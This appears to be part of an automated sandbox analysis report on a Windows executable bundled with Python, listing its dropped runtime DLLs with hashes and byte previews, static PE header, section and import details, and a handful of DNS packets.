                                                  SHA1:49B20FDC8E6287E684AF3877352408BFEA71A624
                                                  SHA-256:CFC12DD7C1DEABF35C8E0FBE01248171C49555FE2D1BED72C5FDBA2102090870
                                                  SHA-512:025148A7278C06E20D00FB0287D0168D4C367BEF21EA8334F746B094250E488711CDB5780F8E08EBF501784B151C4BBE8CACA925F7B7268F3324DFD9F49E5612
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............~v..~v..~v.5.~..~v.5.v..~v.5.r..~v.5....~v.5.t..~v.Rich.~v.................PE..d.....a..........." .........0...............................................@............`A........................................P...x............0...............0...!..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-runtime-l1-1-0.dll

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):25040
                                                  Entropy (8bit):4.793064487556532
                                                  Encrypted:false
                                                  SSDEEP:192:E3UW9MPrpJhhf4AN5/Ki9WBhWp5WYnO/VWQ4mWhVvLrMhEqnajKsZ9uhO:qUZr7DWBhWp5UijlGsZp
                                                  MD5:01380DF01B9E61FC241F82F8FB984C2D
                                                  SHA1:18F92390B292AF0DB8AAA7C7E6F6AA24463F9B84
                                                  SHA-256:698FA887C5B994375C9271222E21D0D4C74810E73D377AD898927549FB69DCB3
                                                  SHA-512:743D45FAE759D8FF3EF862FFA70584696824B86991F262DDC897F6F469FBB4264CF7DA3FE001F33C6305523753D37A7A64874C5010CC7FE63252C53CD96B06F0
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............~v..~v..~v.5.~..~v.5.v..~v.5.r..~v.5....~v.5.t..~v.Rich.~v.................PE..d...J..~.........." .........@...............................................P......(.....`A........................................P...4............@...............@...!..............p............................................................................rdata........... ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-stdio-l1-1-0.dll

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):25032
                                                  Entropy (8bit):5.081534858672226
                                                  Encrypted:false
                                                  SSDEEP:192:XA2uWYFxEpahfWBhWqWYnO/VWQ4eWcvsBQLCamylqnajP3Txr:XIFVhfWBhWAUIQ3Jllz3Vr
                                                  MD5:A3F3FFCDE3DD59CC94FB7DBA16715671
                                                  SHA1:BBF272DAB014D4CDE1A57831A2DAF4FDE03B4884
                                                  SHA-256:C1541ED4DC6879A136BF532393F7CEFD3C48AD371D2ED9965E7CBD44C87A1137
                                                  SHA-512:0E323B44B4ED7959C5F6409E565707E6E402382C950D2A0FC18D18F56AB588A49A260C99ECBDA1BDB3778BE131FB71B1B1158D852981E2E86D0B989B05496E02
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............~v..~v..~v.5.~..~v.5.v..~v.5.r..~v.5....~v.5.t..~v.Rich.~v.................PE..d................." .........@...............................................P............`A........................................P...a............@...............@...!..............p............................................................................rdata........... ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-string-l1-1-0.dll

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):25032
                                                  Entropy (8bit):5.076324008887822
                                                  Encrypted:false
                                                  SSDEEP:768:8ozmT5yguNvZ5VQgx3SbwA71IkF1z9pr:8ozmT5yguNvZ5VQgx3SbwA71IOz9J
                                                  MD5:535D1195F493F7D92FE9007258494EBC
                                                  SHA1:1BF95EC546A6C1A8832D9002B7CD01265A1BBDAD
                                                  SHA-256:4429B8E6707645FB503EBC3BD50CE2A84F559B6A2ED778196835808BDFEC2F48
                                                  SHA-512:CD47F34032FC59A89DD286115DB2CC2D1918F6ECC069FA37D2295126876FC5C931D6272892FB22DB5EFF1F810DE818E64E6140617786A4D3FB153FD80C107468
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............~v..~v..~v.5.~..~v.5.v..~v.5.r..~v.5....~v.5.t..~v.Rich.~v.................PE..d.....R.........." .........@...............................................P.......}....`A........................................P................@...............@...!..............p............................................................................rdata../........ ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-time-l1-1-0.dll

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):20928
                                                  Entropy (8bit):4.9966389304384515
                                                  Encrypted:false
                                                  SSDEEP:192:oNDuWBhWUWYnO/VWQ4uWaaEyCCJky1qnajganQw:zWBhWCUNQR1lsQX
                                                  MD5:ED44B4AAC3C881A9BC524D15AE3F3944
                                                  SHA1:A87983D6C714AAC9242BB60037864139863B1848
                                                  SHA-256:F3E6F692CEC86ADB3985B929345C731469777AEAEB088E3CE070957DF481F924
                                                  SHA-512:25513C666F228365CE7E092782A92FB7EB144F6B3293F896B08317C36323006BA10F4133BBFDADD2576053C1D6AC0E28CC3AD5798B92EEC34FC8FA36E8D83047
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............~v..~v..~v.5.~..~v.5.v..~v.5.r..~v.5....~v.5.t..~v.Rich.~v.................PE..d................." .........0...............................................@............`A........................................P................0...............0...!..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-utility-l1-1-0.dll

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):20928
                                                  Entropy (8bit):4.525945528506043
                                                  Encrypted:false
                                                  SSDEEP:192:evbjfHQduLWBhWVWYnO/VWQ4uWM6cA5E8qnajTw+CCevq:UfFWBhWFUix5E8lvwDDq
                                                  MD5:E79464524FBC2C266DA52D0A903D85D3
                                                  SHA1:6BAD715617992277751A8DDFC180BA291BA75D59
                                                  SHA-256:6C78D4ABA91877C5BB33E545B6A69A818F377E07FF62E791B804FA5B4D2BCF02
                                                  SHA-512:DEF71789E238ECD3B2D68DBD204ACC62537AD39CE50A5BF09F320FC8CACC1B3F561822784D006AB2145EAB5AB7BE3F74C1C773FBE814EFA040A1DBB3FFA6744E
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............~v..~v..~v.5.~..~v.5.v..~v.5.r..~v.5....~v.5.t..~v.Rich.~v.................PE..d...F............." .........0...............................................@......a9....`A........................................P...^............0...............0...!..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\base_library.zip

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                  Category:dropped
                                                  Size (bytes):1437271
                                                  Entropy (8bit):5.59104493943412
                                                  Encrypted:false
                                                  SSDEEP:24576:mQR5pATt7xm4lUKdcubgAnyfb0s0iwhBdYf9P3sGHHl:mQR5pQxmgGL
                                                  MD5:2EFEAB81308C47666DFFFC980B9FE559
                                                  SHA1:8FBB7BBDB97E888220DF45CC5732595961DBE067
                                                  SHA-256:A20EEB4BA2069863D40E4FEAB2136CA5BE183887B6368E32F1A12C780A5AF1AD
                                                  SHA-512:39B030931A7A5940EDC40607DCC9DA7CA1BF479E34EBF45A1623A67D38B98EB4337B047CC8261038D27ED9E9D6F2B120ABBF140C6C90D866CDBA0A4C810AC32C
                                                  Malicious:false
                                                  Preview:PK..........!.h%..b...b......._collections_abc.pyc............................................d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.........................Z...e.d...............Z.d...Z...e.e...............Z.[.g.d...Z.d.Z...e...e.d.............................Z...e...e...e...........................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.g.............................Z...e...e...e.g...........................................Z...e...e...e.d...........................................Z...e...e...e.d.d.z.............................................Z...e...e...e...........................................Z...e...e.d.............................Z ..e...e.d.............................Z!..e...e...e"..........................................Z#..e.i.......................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\libcrypto-1_1.dll

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):3441496
                                                  Entropy (8bit):6.09856168197229
                                                  Encrypted:false
                                                  SSDEEP:49152:M3TKuk2CQIU6iV9OjPW9tmR+NtkYlhIo4QKLb0y+HnuJ1kQSYrLs1fEY7NPiNEsZ:nv+QYRKZSnfEYwNEs21CPwDv3uFfJ5
                                                  MD5:80B72C24C74D59AE32BA2B0EA5E7DAD2
                                                  SHA1:75F892E361619E51578B312605201571BFB67FF8
                                                  SHA-256:EB975C94E5F4292EDD9A8207E356FE4EA0C66E802C1E9305323D37185F85AD6D
                                                  SHA-512:08014EE480B5646362C433B82393160EDF9602E4654E12CD9B6D3C24E98C56B46ADD9BF447C2301A2B2E782F49C444CB8E37EE544F38330C944C87397BDD152A
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............H...H...H..#H...H..I...H..I...H..I...H..I...H...H"..Hn.I...H..I...H..I..H..I...H..OH...H..I...HRich...H........PE..d...'{.c.........." ..."..$...................................................4......4...`..........................................w/..h...*4.@....`4.|....`2.....Z4.X)...p4..O....,.8.............................,.@............ 4..............................text...t.$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......`2.......1.............@..@.idata..^#... 4..$....3.............@..@.00cfg..u....P4.......3.............@..@.rsrc...|....`4.......3.............@..@.reloc...x...p4..z....3.............@..B................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\python311.dll

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):5764888
                                                  Entropy (8bit):6.090010350264476
                                                  Encrypted:false
                                                  SSDEEP:98304:ZjCxzAISyt+EaudO141ibXHkMLyP59mJ3:ZjCxzAISXElO13L09
                                                  MD5:1FE47C83669491BF38A949253D7D960F
                                                  SHA1:DE5CC181C0E26CBCB31309FE00D9F2F5264D2B25
                                                  SHA-256:0A9F2C98F36BA8974A944127B5B7E90E638010E472F2EB6598FC55B1BDA9E7AE
                                                  SHA-512:05CC6F00DB128FBCA02A14F60F86C049855F429013F65D91E14EA292D468BF9BFDEEBC00EC2D54A9FB5715743A57AE3AB48A95037016240C02AABE4BFA1A2FF4
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D.K.*.K.*.K.*...+.I.*.....E.*.../.G.*.....C.*...).O.*.B..Q.*...+.@.*.K.+...*..'..*..*.J.*....J.*..(.J.*.RichK.*.........................PE..d....~.c.........." ...".b%..27.....LP........................................\......hX...`..........................................@.....|eA.......[.......V.@0....W../....[..C....).T...........................`.).@.............%..............................text...z`%......b%................. ..`.rdata........%......f%.............@..@.data.........A..L...pA.............@....pdata..@0....V..2....Q.............@..@PyRuntim......X.......S.............@....rsrc.........[......zV.............@..@.reloc...C....[..D....V.............@..B........................................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\select.pyd

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):30488
                                                  Entropy (8bit):6.579636105002456
                                                  Encrypted:false
                                                  SSDEEP:384:N1ecReJKCHqeUI7A700EZ9IJQGzHQIYiSy1pCQ82Pxh8E9VF0Nyqnn:3eUeJPHqgbD9IJQGD5YiSyvxPxWEUn
                                                  MD5:4AC28414A1D101E94198AE0AC3BD1EB8
                                                  SHA1:718FBF58AB92A2BE2EFDB84D26E4D37EB50EF825
                                                  SHA-256:B5D4D5B6DA675376BD3B2824D9CDA957B55FE3D8596D5675381922EF0E64A0F5
                                                  SHA-512:2AC15E6A178C69115065BE9D52C60F8AD63C2A8749AF0B43634FC56C20220AFB9D2E71EBED76305D7B0DCF86895ED5CDFB7D744C3BE49122286B63B5EBCE20C2
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........t..t'..t'..t'..'..t'..u&..t'..q&..t'..p&..t'..w&..t'/.u&..t'..u'..t'..u&..t'/.y&..t'/.t&..t'/..'..t'/.v&..t'Rich..t'................PE..d....~.c.........." ...".....2............................................................`..........................................@..L...,A..x....p.......`.......H.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B........................................................................................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\ucrtbase.dll

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):1118664
                                                  Entropy (8bit):6.65702812073048
                                                  Encrypted:false
                                                  SSDEEP:24576:WbDDZA6rBwy/fnrdHODCrGQY8lP+kpcKsqWmxvSZX0ypOI:f2/fkDCrZR+k+q9I
                                                  MD5:B0397BB83C9D579224E464EEBF40A090
                                                  SHA1:81EFDFE57225DFE581AAFB930347535F08F2F4CE
                                                  SHA-256:D2EBD8719455AE4634D00FD0D0EB0C3AD75054FEE4FF545346A1524E5D7E3A66
                                                  SHA-512:E72A4378ED93CFB3DA60D69AF8103A0DCB9A69A86EE42F004DB29771B00A606FBC9CBC37F3DAA155D1D5FE85F82C87CA9898A39C7274462FCF5C4420F0581AB3
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.../..L/..L/..L&.0L...L/..L...L..^L...L..M...L..M...L..MO..L..Mc..L..M...L..\L...L..M...LRich/..L........PE..d...L#............" ..... ..........0]..............................................~.....`A........................................p....................................!..............p............................J..8............u..(............................text...x........ .................. ..`.rdata.......0.......0..............@..@.data....&....... ..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

                                                  C:\Users\user\AppData\Local\Temp\_MEI68922\unicodedata.pyd

                                                  Download File
                                                  Process:C:\Users\user\Desktop\file.exe
                                                  File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):1141016
                                                  Entropy (8bit):5.435126675528636
                                                  Encrypted:false
                                                  SSDEEP:12288:r3kYbfjwR6nbnonRiPDjRrO5184EPYPx++ZiLKGZ5KXyVH4eD1y:rUYbM60IDJcjEwPgPOG6Xyd461y
                                                  MD5:2AB7E66DFF1893FEA6F124971221A2A9
                                                  SHA1:3BE5864BC4176C552282F9DA5FBD70CC1593EB02
                                                  SHA-256:A5DB7900ECD5EA5AB1C06A8F94B2885F00DD2E1ADF34BCB50C8A71691A97804F
                                                  SHA-512:985480FFFCC7E1A25C0070F44492744C3820334A35B9A72B9147898395AB60C7A73EA8BBC761DE5CC3B6F8799D07A96C2880A7B56953249230B05DD59A1390AD
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...t.t.t.}...r.;...v.;...y.;...|.;...w.....w.?...v.t.%.....u.....u...y.u.....u.Richt.........................PE..d....~.c.........." ...".@..........P*...................................................`.............................................X............`.......P..0....:.../...p.......]..T............................[..@............P..x............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data...H....0......................@....pdata..0....P.......&..............@..@.rsrc........`......................@..@.reloc.......p.......8..............@..B................................................................................................................................................................................................................................

                                                  Static File Info

                                                  General

                                                  File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                  Entropy (8bit):7.972535119810673
                                                  TrID:
                                                  • Win64 Executable GUI (202006/5) 92.65%
                                                  • Win64 Executable (generic) (12005/4) 5.51%
                                                  • Generic Win/DOS Executable (2004/3) 0.92%
                                                  • DOS Executable Generic (2002/1) 0.92%
                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                  File name:file.exe
                                                  File size:7'319'146 bytes
                                                  MD5:93517c6eb21cd65e329b0acd9f6db5af
                                                  SHA1:56866045c907c47dc4fcd2844117e1fd0f57ba37
                                                  SHA256:08c2b931e06327dd440f89827e6556ac9e7966dc9e01dc2012aba9db90166957
                                                  SHA512:699626e4d1fd0cb86c330ee78ae5c6c2fe07e3c990426705d2bb25afee034457d07da71f13f119ebc5882a1a5288b5726e7e3459a97b432a606b2fa9bb3e2c5b
                                                  SSDEEP:196608:tdlJNxbAQnwejuJDUX47dwdW01XCZB4nCrD:TNxnaUX47d4dyoo
                                                  TLSH:8B7633E4F1F185EED81AC67DE961582063B278A52778968F1361132A1E33363583FF1E
                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Xhc.Xhc.Xhc...`._hc...f..hc...g.Rhc.....[hc...`.Qhc...g.Ihc...f.phc...b.Shc.Xhb..hc.K.g.Ahc.K.a.Yhc.RichXhc.........PE..d..

                                                  File Icon

                                                  Icon Hash:e5e4999d85453d13

                                                  Static PE Info

                                                  General

                                                  Entrypoint:0x14000c0d0
                                                  Entrypoint Section:.text
                                                  Digitally signed:false
                                                  Imagebase:0x140000000
                                                  Subsystem:windows gui
                                                  Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                  DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                  Time Stamp:0x67361D80 [Thu Nov 14 15:55:44 2024 UTC]
                                                  TLS Callbacks:
                                                  CLR (.Net) Version:
                                                  OS Version Major:6
                                                  OS Version Minor:0
                                                  File Version Major:6
                                                  File Version Minor:0
                                                  Subsystem Version Major:6
                                                  Subsystem Version Minor:0
                                                  Import Hash:456e8615ad4320c9f54e50319a19df9c

                                                  Entrypoint Preview

                                                  Instruction
                                                  dec eax
                                                  sub esp, 28h
                                                  call 00007F0E08E0F5BCh
                                                  dec eax
                                                  add esp, 28h
                                                  jmp 00007F0E08E0F1DFh
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  int3
                                                  dec eax
                                                  sub esp, 28h
                                                  call 00007F0E08E0F988h
                                                  test eax, eax
                                                  je 00007F0E08E0F383h
                                                  dec eax
                                                  mov eax, dword ptr [00000030h]
                                                  dec eax
                                                  mov ecx, dword ptr [eax+08h]
                                                  jmp 00007F0E08E0F367h
                                                  dec eax
                                                  cmp ecx, eax
                                                  je 00007F0E08E0F376h
                                                  xor eax, eax
                                                  dec eax
                                                  cmpxchg dword ptr [0003843Ch], ecx
                                                  jne 00007F0E08E0F350h
                                                  xor al, al
                                                  dec eax
                                                  add esp, 28h
                                                  ret
                                                  mov al, 01h
                                                  jmp 00007F0E08E0F359h
                                                  int3
                                                  int3
                                                  int3
                                                  dec eax
                                                  sub esp, 28h
                                                  test ecx, ecx
                                                  jne 00007F0E08E0F369h
                                                  mov byte ptr [00038425h], 00000001h
                                                  call 00007F0E08E0EAB5h
                                                  call 00007F0E08E0FDA0h
                                                  test al, al
                                                  jne 00007F0E08E0F366h
                                                  xor al, al
                                                  jmp 00007F0E08E0F376h
                                                  call 00007F0E08E1C8AFh
                                                  test al, al
                                                  jne 00007F0E08E0F36Bh
                                                  xor ecx, ecx
                                                  call 00007F0E08E0FDB0h
                                                  jmp 00007F0E08E0F34Ch
                                                  mov al, 01h
                                                  dec eax
                                                  add esp, 28h
                                                  ret
                                                  int3
                                                  int3
                                                  inc eax
                                                  push ebx
                                                  dec eax
                                                  sub esp, 20h
                                                  cmp byte ptr [000383ECh], 00000000h
                                                  mov ebx, ecx
                                                  jne 00007F0E08E0F3C9h
                                                  cmp ecx, 01h
                                                  jnbe 00007F0E08E0F3CCh
                                                  call 00007F0E08E0F8FEh
                                                  test eax, eax
                                                  je 00007F0E08E0F38Ah
                                                  test ebx, ebx
                                                  jne 00007F0E08E0F386h
                                                  dec eax
                                                  lea ecx, dword ptr [000383D6h]
                                                  call 00007F0E08E1C6A2h

                                                  Data Directories

                                                  NameVirtual AddressVirtual Size Is in Section
                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x3c76c0x78.rdata
                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x490000x275b8.rsrc
                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x460000x2208.pdata
                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x710000x768.reloc
                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x39dc00x1c.rdata
                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x39c800x140.rdata
                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IAT0x2b0000x450.rdata
                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                  Sections

                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                  .text0x10000x292100x29400aca64598002ecff9eefbc96554edf015False0.5511067708333334data6.4784482217419175IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                  .rdata0x2b0000x126420x128003f68bcf79e5313449633d0f17f028bf0False0.5245196368243243data5.750849990601124IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                  .data0x3e0000x73d80xe00d0a288978c66419b180b35f625b6dce7False0.13532366071428573data1.8378139998458343IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  .pdata0x460000x22080x240074cf3ea22e0a1756984435d6f80f7da5False0.4671223958333333data5.259201915045256IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                  .rsrc0x490000x275b80x2760056fcef429869229cb2d36c9280936f2eFalse0.14658978174603174data4.764665561017148IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                  .reloc0x710000x7680x80071de9271648326ec88350e903470cf3eFalse0.5576171875data5.283119454571673IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                  Resources

                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                  RT_ICON0x492080x10828Device independent bitmap graphic, 128 x 256 x 32, image size 675840.09755412279664025
                                                  RT_ICON0x59a300x94a8Device independent bitmap graphic, 96 x 192 x 32, image size 380160.15855581248686146
                                                  RT_ICON0x62ed80x5488Device independent bitmap graphic, 72 x 144 x 32, image size 216000.1821626617375231
                                                  RT_ICON0x683600x4228Device independent bitmap graphic, 64 x 128 x 32, image size 168960.17483467170524328
                                                  RT_ICON0x6c5880x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 96000.2572614107883817
                                                  RT_ICON0x6eb300x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 42240.3177767354596623
                                                  RT_ICON0x6fbd80x468Device independent bitmap graphic, 16 x 32 x 32, image size 10880.5168439716312057
                                                  RT_GROUP_ICON0x700400x68data0.7692307692307693
                                                  RT_MANIFEST0x700a80x50dXML 1.0 document, ASCII text0.4694508894044857

                                                  Imports

                                                  DLLImport
                                                  USER32.dllCreateWindowExW, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
                                                  COMCTL32.dll
                                                  KERNEL32.dllGetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, GetLastError, FormatMessageW, GetModuleFileNameW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, CreateDirectoryW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, GetEnvironmentStringsW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, WaitForSingleObject, Sleep, GetCurrentProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, IsProcessorFeaturePresent, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
                                                  ADVAPI32.dllOpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
                                                  GDI32.dllSelectObject, DeleteObject, CreateFontIndirectW

                                                  Network Behavior

                                                  UDP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Nov 27, 2024 15:39:07.463473082 CET53598631.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:39:17.882081985 CET53494361.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:39:28.320605993 CET53556111.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:39:38.753812075 CET53569901.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:39:49.334815979 CET53614571.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:39:59.726466894 CET53566441.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:40:10.207832098 CET53500611.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:40:20.547406912 CET53565661.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:40:31.047990084 CET53510751.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:40:41.381201029 CET53521331.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:40:52.234582901 CET53586241.1.1.1192.168.2.4
                                                  Nov 27, 2024 15:41:03.086978912 CET53549061.1.1.1192.168.2.4

                                                  Statistics

                                                  CPU Usage

                                                  Click to jump to process

                                                  Memory Usage

                                                  Click to jump to process

                                                  High Level Behavior Distribution

